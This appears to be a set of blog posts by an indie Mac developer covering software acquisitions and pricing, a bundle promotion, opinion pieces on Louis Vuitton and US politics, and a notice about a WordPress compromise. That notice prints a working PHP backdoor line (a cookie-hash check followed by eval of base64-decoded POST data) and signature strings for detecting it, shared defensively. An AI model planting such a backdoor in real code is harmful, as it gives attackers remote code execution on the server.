First off, an announcement that I put off while other things had to be wrapped up: Apokalypse Software Corp. has acquired the rights and the code to bitShifter, the file encryption utility initially developed and marketed by MemSculpt and then ForgEdit. As with prior acquisitions, the current licensees’ purchases will be honored, updates will be made, etc. I’m still trying to understand what some of these licenses were (perpetual what, now?), but they won’t be problematic as the key is in gaining more licensees rather than bleeding the current userbase dry with the nickel-and-dime tactics I despise so much.

However, the name and logo will need to be changed, as the original developer cannot relinquish them…or something. (bitShifter is vague and ambiguous or too techie sounding, anyway.) It is being revamped, and will be re-launched shortly as an Apokalypse product. The price will likely remain $99 USD if I can figure out what type of license that bought. (Perpetual what, again?)

Now that Apokalypse has encryption technology, I’m putting Mori 1.7 out with encryption ASAP. Unfortunately, this means some of the really cool features I originally planned to incorporate in the release will be delayed until 1.8, including enumerated entries, and continuous text. What’s still in? LinkBack, customized labels, font settings for source & entry views, better keyboard navigation, outlining improvements, self-downloading updates, and now encryption.

I’ve also gone over the features of quite a few of Mori’s competitors, and realize how undervalued Mori is. So I’ll be creating a version with fewer capabilities at the current price to stay at the lower end, and the price of the full-featured version will be raised to $99.95 USD. On top of that, a Pro version will be released at $199.95 USD. Mori licensees will automatically be bumped up to the Pro license when the update is released; so as I promised you before, you won’t have to pay extra for the 1.7 upgrades. In fact, as I’m still planning to put out a 1.8 release, current licensees won’t have to pay for any 1.X upgrades.

Next on the list is the big project I had been working on when I purchased Mori and Clockwork from Jesse. It’s a programming system based on the Smalltalk programming language and it’s called Cocoalogue. What’s so special about it? It’s an interpretive system, with programs written in a shebang-prefixed text file like most scripting languages available on UNIX-like platforms. The Smalltalk-based syntax is virtually identical to Smalltalk-80 with extensions for declaring classes, methods and data types (with strong- and static-typing). It supports dynamic run-time features including blocks, automatic garbage-collection and data translation. And it has, as the name Cocoalogue would indicate, a bridge to Mac’s Cocoa frameworks. I’ll go into greater detail on these features and Cocoalogue’s current limitations in my next post. This product hasn’t been released yet, and will be priced at $129 when it is.

But I’m making the announcement now for a very good reason. You’ll be able to get a licensed copy of Cocoalogue today before it’s made available anywhere else, including the Apokalypse website, through the PMC Software Build Your Own Bundle program. Seth Dillingham, another indie Mac developer, has put together a special bundle where you can purchase Cocoalogue, Mori, Clockwork or a family pack at discounted prices. You could even get a discount on over 120 other fabulous programs from Mac indie developers as well! Not that you want to.

So go on to the bundle site, remembering that it’s the only way to get in on Cocoalogue now, and for the substantial savings you’ll get on Mori Pro 1.7 by getting a Mori license today.

And don’t forget: these sales are going to fund cancer research and treatment, so please don’t be stingy on what are already terrific deals. A lot of folks are counting on you!

As I wrote on Jeremiah’s blog,

Luxury brands do not have the luxury of remaining silent. They are the expressiveness of the well-heeled, for whom verbalizing, “I’m richer than you.” is a sign of a lack of refinement. So LV is *required* to publicly react in this case.

Their best option would be to sponsor a forum in which the global community can participate and engage with the local Darfur community and any and all who are engaged in the atrocities or can act to prevent it; a forum which (it is hoped) effects a change, but in which, at the least, participants feel as if they’re doing something. After all, a brand which symbolizes wealth *and* power is able to wield quite a bit of both itself.

The real dilemma for a brand which positions itself as a symbol of wealth and prestige, is how to present its position on non-lifestyle topics. To say you represent the constituency of wealth and influence, yet are unable or unwilling to exert either for social and political issues is preposterous. To choose to remain out of the “conversation” regarding these matters is to invoke the legend of Marie Antoinette, who when she was told the peasants of France had no bread (according to the legend), said, “Let them eat cake.” It indicates a shallowness of character, indifference to world affairs, impotence or fear of loss, none of which can be considered admirable traits and thus worthy of public expression by the upper crust. And to be directly hostile to efforts to assist the victims of genocide is to support the perpetrators of this outrage.

No, Louis Vuitton must demonstrate their ability to act on behalf of the victims and those who would assist them, or acknowledge that they are incapable of effecting any change and allow their brand to be repositioned as the symbol of a lack of influence, power, scruples and/or purpose.

I suppose it’s fitting that Paris Hilton has become the face of Louis Vuitton.

I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there’s no evidence that the wacky WordPress system the site is now running on doesn’t have other compromised files, as well as the security holes through which the crackers originally got in.

Several compromised files had this line inserted at the beginning,

<?php if(md5($_COOKIE['_wp_debugger'])==”5fd808ac028e5197dd69318e32407eb7″){ eval(base64_decode($_POST['file'])); exit; } ?>

Others were disguised as image files, with file extensions of “pngg” and “jpgg”, and beginning with “

If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as “qwerty”, “4008deadb16536f48b84fdc70f194dac”, “find suid files”, “_wp_debugger”, “5fd808ac028e5197dd69318e32407eb7″. The signatures are sure to change, as they’re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.

All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.

But now, we’ve discovered this thing called the Internet (it’s a series of tubes), and while it’s been fun to share our home videos and prank one another, we’ve also gotten to talking with our fellow Americans. And something that keeps coming up in our conversations is that our country’s in very bad shape, and you’re not doing your job.

You had the budget thing tolerable for a while, but then you went and spent us back into a deficit. Then the terrorists attacked and things were really bad. But we supported you when you said we had to fight the Taliban in Afghanistan to get Osama bin Laden, but it’s been nearly eight years. For all the money you spent, why don’t you have bin Laden?

Then you insisted that we had to go to war with Iraq because Saddam Hussein had WMDs, but he didn’t actually have WMDs. And he went into hiding, and you found him hiding in a hole, this guy who didn’t have anything. You found him hiding in a hole, but you haven’t found bin Laden, the terrorist who funded attacks in America.

And it’s interesting that you aren’t willing send your own kids to fight this war that was so important to you. This war to protect U.S. interests, you said. The rest of us have lost loved ones and real Americans in our cities and hometowns, folks who give our small communities meaning and a sense of honor. You’ve given us draped coffins and broken men and women, some missing limbs, some missing their former souls, but you haven’t given us your own sons and daughters, nor have you given us bin Laden.

This “important” war has taken longer to finish then the Second World War, in which we fought Nazi Germany and Italy across the Atlantic, and Imperialist Japan across the Pacific. We fought three countries. Countries that had real, dedicated armies. At the same time. From an economic depression. And We won. But that’s because you weren’t in charge back then, because you can’t even beat the leftover enemies of one country that has little more than sand, and we’re paying for you to use fancy (and expensive, I might add) planes, tanks, bombs and satellites which you like to blow up. And yet you still haven’t found bin Laden.

And now our economy’s again in the toilet because folks don’t want our money. You give Canadians the right to buy normal, tasty thin American bacon instead of that round stuff they had to eat because their dollar was worth less, but you don’t give us bin Laden!

You give us airport security that hassles and harasses us, but doesn’t stop weapons from being smuggled onboard planes. You give us illegal aliens crossing our borders. You give us banks that overcharge us on fees and interest rates. You give us homes that are worth less. You give us $100/bbl oil, and $3 gas. You give us colors that tell us our phone calls can be tapped, and that we can’t take pictures of buildings because Americans are up to no good. But you still haven’t given us bin Laden.

Some of us made lists of things that we weren’t happy with, of how you haven’t been doing your job like you’re supposed to, and how you’re not helping anyone but yourselves and your friends. And we don’t like that at all. At first, some of us thought we just might be unusual, crackpots on the fringe of society. But the more we started having our own chats with others across this country, the more we realized we are not alone; that many others are fed up with the nonesense you’ve been pulling. And some started reminding us that when the Constitution talks about who the bosses are in this country, “We the people” are the ones it’s talking about.

And we’re taking charge again, as you can see.

So the 30% of us who remembered we are the bosses are getting together with the 70% of those who forgot, or felt their votes don’t count. And we’re also coordinating a united action: come November, we’re handing you your walking papers. We won’t be coughing. We won’t be throwing sweaters. We won’t be heckling you. Come November, you’re fired.

The Citizens (and real bosses) of The U.S.A

Post feature requests and bug reports so I keep track of what needs to be done to keep these products relevant to the work you do. The issue tracking system even has a polling feature which allows you to vote on the most important issues for you.

For any communication which doesn’t apply to the community of users here, I invite you to contact me via private correspondence or iChat/AIM/IRC (huperniketes).

However, if you just want to know what’s currently transpiring, and what’s going on in-between the lengthy times between my irregular posts (I’ve got a huge backlog of unfinished posts, I do apologize), there’s another way to see what I’m up to. That technique is through the Twitter service.

Here’s a simple description of how Twitter is useful for me to keep you aware of what’s going on:

Ed Yourdon, whose Techniques of Program Structure and Design revolutionized my thinking and methods in developing software, has written a great example of why I use Twitter.

I invite you to follow my tweets, or those for Mori and Clockwork product info. I also invite you to sign up and send your own message to any of those accounts.